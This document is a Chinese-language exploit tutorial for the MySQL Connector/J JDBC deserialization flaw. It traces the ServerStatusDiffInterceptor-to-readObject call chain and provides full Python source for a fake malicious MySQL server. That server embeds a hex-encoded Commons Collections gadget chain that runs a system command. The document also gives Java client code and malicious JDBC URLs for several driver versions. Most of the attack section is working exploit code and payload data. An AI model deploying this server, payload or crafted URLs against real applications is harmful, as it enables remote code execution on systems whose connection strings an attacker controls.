首先导入依赖项到pom.xml
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
JDBC(Java DataBase Connectivity
)是 Java 与数据库之间的桥梁,是 Java 提供对数据库进行连接、操作的标准API。Java 自身并不会去实现对数据库的连接、查询、更新等操作,而是通过抽象出数据库操作的 API 接口,即 JDBC 。不同的数据库提供商必须实现 JDBC 定义的接口从而也就实现了对数据库的一系列操作。本文针对 MySQL 数据库
JDBC对数据库操作一般有以下步骤:
导入包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.*
就足够了
初始化 JDBC 驱动程序(driver),以便您可以打开与数据库的通信通道。这个在不同版本有所区别,从 mysql-connector-java 6
开始com.mysql.jdbc.Driver
被弃用了,改用新的驱动com.mysql.cj.jdbc.Driver
,然后利用Class.forName()
方法加载即可
与数据库建立连接。利用DriverManager
中的getConnection
方法创建一个与数据库服务器的物理连接的 Connection
对象,通过JDBC url
,用户名,密码来连接相应的数据库,而JDBC url
的格式是:
jdbc:mysql://host:port/database_name?arg1=value1&arg2=value2...
执行数据库查询。需要使用 Statement
类型的对象来构建 SQL 语句并将其提交到数据库
清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。
代码示例如下:
import java.sql.*; // 1.导入软件包
public class Test {
public static void main(String[] args) throws Exception {
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC"; // serverTimezone设置时区
String username = "root";
String password = "root";
String sql = "select * from users";
Class.forName(driver); // 2.初始化JDBC驱动程序(Driver)
Connection conn = DriverManager.getConnection(DB_URL, username, password); // 3.与数据库建立连接
Statement statement = conn.createStatement(); // 4.1 创建Statement对象
ResultSet query = statement.executeQuery(sql); // 4.2 执行SQL查询
while (query.next()) {
System.out.println(query.getString("id") + " : " + query.getString("username")); // 打印查询结果
}
statement.close();
conn.close(); // 5.主动销毁,断开连接
}
}
首先我们要触发反序列化攻击,就需要调用到readObject()
方法,也就是要寻找哪里调用了readObject()
方法且参数可控
由这个思路可以找到ResultSetImpl#getObject()
方法,其中这段代码里面就调用了readObject()
switch (field.getMysqlType()) {
// 获取的字段的mysql类型必须为BIT
case BIT:
// 判断数据是不是blob或者二进制数据
if (!field.isBinary() && !field.isBlob()) {
return field.isSingleBit() ? this.getBoolean(columnIndex) : this.getBytes(columnIndex);
} else {
byte[] data = this.getBytes(columnIndex);
// 获取连接属性的autoDeserialize是否为true
if (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue()) {
return data;
} else {
Object obj = data;
if (data != null && data.length >= 2) {
// 判断数据前两个字节是否为-84和-19,Java对象序列化数据的标志
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException var13) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var13.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor());
} catch (IOException var14) {
obj = data;
}
}
return obj;
}
}
要进入到里层调用readObject()
要满足几个条件才行。这里参数还不可控,那么继续找哪里调用了getObject()
,接着跟进到com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap()
,如果这里的rs
变量传入的是ResultSetImpl
对象的话,就可以调用到最上面的getObject
方法
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
while(rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}
}
接着继续找哪里调用了该方法,跟进com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()
,它在内部调用了resultSetToMap()
private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
Statement stmt = null;
ResultSet rs = null;
try {
try {
toPopulate.clear();
stmt = this.connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
ResultSetUtil.resultSetToMap(toPopulate, rs);
} finally {
if (rs != null) {
rs.close();
}
if (stmt != null) {
stmt.close();
}
}
} catch (SQLException var8) {
throw ExceptionFactory.createException(var8.getMessage(), var8);
}
}
继续找哪里调用了populateMapWithSessionStatusValues()
,最后我们找到了ServerStatusDiffInterceptor#preProcess()
方法
而调用preProcess()
比较特殊。先要了解一个参数queryInterceptors
,这个参数具体参考官方文档
简单来说参数queryInterceptors
就是指定一个或者多个实现了com.mysql.cj.interceptors.QueryInterceptor
接口的类,然后在进行SQL查询操作之前,执行该类中的一个方法从而来影响最终的查询结果,而这个方法就是preProcess
方法。(在查询完之后,还会调用其postProcess
方法在此进行一个处理)
因此在 JDBC URL 中设定属性queryInterceptors
为ServerStatusDiffInterceptor
时,执行查询语句会调用拦截器的preProcess()
方法,进而通过上述调用链最终调用readObject()
方法。而通过JDBC
连接数据库的时候,会有几个内置的SQL语句会被执行。
这里我们可以本地测试验证一下,这里使用wireshark
然后写一个简单的demo连接本地数据库
import java.sql.*;
public class Test {
public static void main(String[] args) throws Exception {
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
String username = "root";
String password = "root";
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL, username, password);
conn.close();
}
}
然后使用tcp.port ==3306 && mysql
来过滤协议,就可以看到这个过程了
结合上面的分析,如果参数和JDBC url
可控,就能执行反序列化,存在CC和CB链的反序列化漏洞时就可以进行漏洞利用。而这个参数就是查询语句的结果集,因此假如JDBC url
可控,我们就可以让它连接任意Mysql服务器,就可以搭建恶意MySQL服务器来控制这两个查询的结果集,结合控制JDBC url
中的连接设置项,就可以构成JDBC反序列化漏洞
接下来需要做的就是写一个假的恶意MySQL服务,当目标主机连接到恶意MySQL服务进行查询时,返回构造好的数据。
这里难点就是返回什么数据,这里主要考虑show session status
响应包的编写,前面的过程按照wireshark抓包的过程直接引用下来
对于查询数据包的响应包可以分为四种:错误包(ERR Packet)、正确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)。这部分我们需要构造的是结果集这种数据包。
这里偷了张大佬图,结果集响应包结构如下图所示
在wireshark可以看到这些数据段
其中各字节代表的含义再次不做过多介绍,因为wireshark清晰的显示了哪些字节表示什么含义
这里就显示了这三个字节表示包数据长度为1
这里关注我们构造好的payload放哪能被反序列化到,也就是结果集在包中怎么存在的,查看本地测试的流量包可以发现,查询到的数据是放在row packet
里面的,row packet
的前三个字节表示长度,第四个字节表示包序号,第五个字节表示行数据的长度。那么构造关键就在这里
mysql_data = ""
column_count = "0100000102"
field_packet1 = "4e0000020364656612696e666f726d6174696f6e5f736368656d6106535441545553065354415455530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c2100c0000000fd0100000000"
field_packet2 = "470000030364656612696e666f726d6174696f6e5f736368656d6106535441545553065354415455530556616c75650e5641524941424c455f56414c55450c2100000c0000fd0000000000"
intermediate_EOF = "05000004fe00002200"
row_packet = ""
response_EOF = "0500003dfe00000200"
# 获取payload
payload_content = get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content) // 2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content) // 2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
row_packet += data_len_hex + '04' + 'fbfc' + payload_length_hex
row_packet += str(payload_content)
mysql_data = column_count + field_packet1 + field_packet2 + intermediate_EOF + row_packet + response_EOF
上面介绍payload前面那个字节表示payload的长度,如果说payload过长,需要两个或者多个字节来表示长度的话,就需要在前面加上一个fc
最终fakeMySQL服务器代码为,这里参考大佬的自己写了一个
import binascii
import socket
greeting_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_OK_data = "0700000100000002000000"
session_auto_increment_increment_data = "01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210006000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21007e000000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a00000000005000015fe0000020098000016013104757466380475746638047574663804757466380f757466385f67656e6572616c5f6369000532383830300347504c013107313034383537360236300130024f4e2a4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d5245414405323838303005000017fe00000200"
show_warnings_data = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
def run():
# 被动接受TCP客户端连接,(阻塞式)等待连接的到来,conn是新的套接字对象,用户收发数据,addr是连接客户端的地址
conn, addr = s.accept()
print("Connection come from {}:{}".format(addr[0], addr[1]))
# 服务端发送greeting报文
send_data(conn, greeting_data)
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn, response_OK_data)
# 模拟后面的交互过程
while 1:
# 接收报文
data = receive_data(conn)
response_data = ""
# 判断客户端操作,响应对应内容
if "session.auto_increment_increment" in data:
response_data = session_auto_increment_increment_data
elif "show warnings" in data:
response_data = show_warnings_data
elif "set character_set_results" in data or "set names" in data:
response_data = response_OK_data
elif "show session status" in data:
response_data = get_payload_data()
else:
break
send_data(conn, response_data)
def send_data(conn, data):
print("[*] Sending the package : {}".format(data))
# 发送TCP数据,参数为string; a2b_hex()将16进制转换为字符串
conn.send(binascii.a2b_hex(data))
def receive_data(conn):
# 接受TCP套接字的数据,以字符串形式返回
data = conn.recv(1024)
print("[*] Receiving the package : {}".format(data))
return str(data).lower()
def get_payload_content():
# 生成的序列化数据到文件
file = "payload"
try:
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()), encoding='utf-8')
print("[+] open successs")
except:
payload_content = 'aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
print("[!] open false, by default")
return payload_content
def get_payload_data():
column_count = "0100000102"
field_packet1 = "1a000002036465660001630163016301630c3f00ffff0000fc9000000000"
field_packet2 = "1a000003036465660001630163016301630c3f00ffff0000fc9000000000"
intermediate_EOF = "" # 这里加了EOF不能成功调用,怪,目前猜测数据包校验问题,还没尝试
row_packet = ""
response_EOF = "0500003dfe00000200"
# 获取payload
payload_content = get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content) // 2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content) // 2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
row_packet += data_len_hex + '04' + 'fbfc' + payload_length_hex
row_packet += str(payload_content)
mysql_data = column_count + field_packet1 + field_packet2 + intermediate_EOF + row_packet + response_EOF
return mysql_data
if __name__ == '__main__':
host = "0.0.0.0"
port = 3309
# 创建socket对象,面向网络的TCP套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置给定套接字选项的值, SO_REUSEADDR表示允许重用本地地址和端口,为了实验的时候不用等待很长时间
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 绑定地址(host,port)到套接字
s.bind((host, port))
# 开始 TCP 监听,等待客户端连接,参数是 backlog 指定在拒绝连接之前,操作系统可以挂起的最大连接数量
s.listen(1)
print("start fake mysql server listening on {}:{}".format(host, port))
run()
Java Client代码为
import java.sql.*;
public class Test {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
conn.close();
}
}
8.x
上面就是用8.0.12分析的
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
6.x
参数名不同,queryInterceptors 换为 statementInterceptors
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
>=5.1.11的5.x
旧的驱动包名中没有cj
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
5.x <= 5.1.10
连接到数据库后还需要额外执行查询
5.1.29 - 5.1.40
jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true
5.1.28 - 5.1.19
jdbc:mysql://127.0.0.1:3309/mysql?autoDeserialize=true